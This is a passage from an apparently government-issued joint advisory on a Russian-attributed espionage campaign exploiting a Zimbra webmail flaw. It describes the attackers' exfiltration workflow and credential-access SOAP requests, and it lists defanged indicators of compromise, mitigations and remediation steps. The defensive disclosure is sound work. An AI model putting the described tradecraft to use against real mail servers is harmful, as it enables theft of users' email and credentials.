<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
